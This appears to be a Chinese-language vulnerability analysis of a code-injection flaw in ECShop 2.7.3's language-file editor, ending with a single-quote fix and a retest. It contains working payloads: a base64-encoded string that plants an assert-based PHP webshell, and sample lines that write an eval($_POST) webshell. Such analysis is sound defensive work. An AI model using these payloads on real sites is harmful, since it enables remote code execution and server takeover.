漏洞产生原因
在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。
for ($i = 0; $i < count($_POST[‘item_id‘]); $i++)
{
/* 语言项内容如果为空,不修改 */
if (trim($_POST[‘item_content‘][$i]) == ‘‘)
{
unset($src_items[$i]);
}
else
{
$_POST[‘item_content‘][$i] = str_replace(‘\\\\n‘, ‘\\n‘, $_POST[‘item_content‘][$i]);
/* $_POST[‘item_content‘][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容
$dst_items[$i] 是 $_LANG[‘label_profile‘] = "用户信息${${fputs(fopen";
*/
$dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘"‘ .$_POST[‘item_content‘][$i]. ‘";‘;
}
}
修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦
$_LANG[‘label_profile‘] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";
由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。
至于为什么可以执行?原理如下:
下面这三句话都可以执行,与其说代码执行,不如说参数执行。
<?php
$a = "${ phpinfo()}"; // 有一个空格
$b = "{${phpinfo()}}"; // 多一对{},但是没有空格
$c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}";
$d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串
?>
而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,所以也可以代码执行。
/* 载入语言文件 */
require_once(ROOT_PATH . ‘languages/‘ .$_CFG[‘lang‘]. ‘/user.php‘);
5. 漏洞修复
了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号
修改\admin\edit_languages.php
// 修复前
$dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘"‘ .$_POST[‘item_content‘][$i]. ‘";‘;
// 修复后,由于想在单引号之间出现单引号,必须使用转义。
$dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘\‘‘ .$_POST[‘item_content‘][$i]. ‘\‘;‘;
修复后,测试一下,是否还有漏洞。
再次修改“用户信息”内容为之前修改的内容。打开\languages\zh_cn\user.php可以看到变量已经变为了单引号
再次访问http://www.zuimoban.com/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。
(责任编辑:最模板) |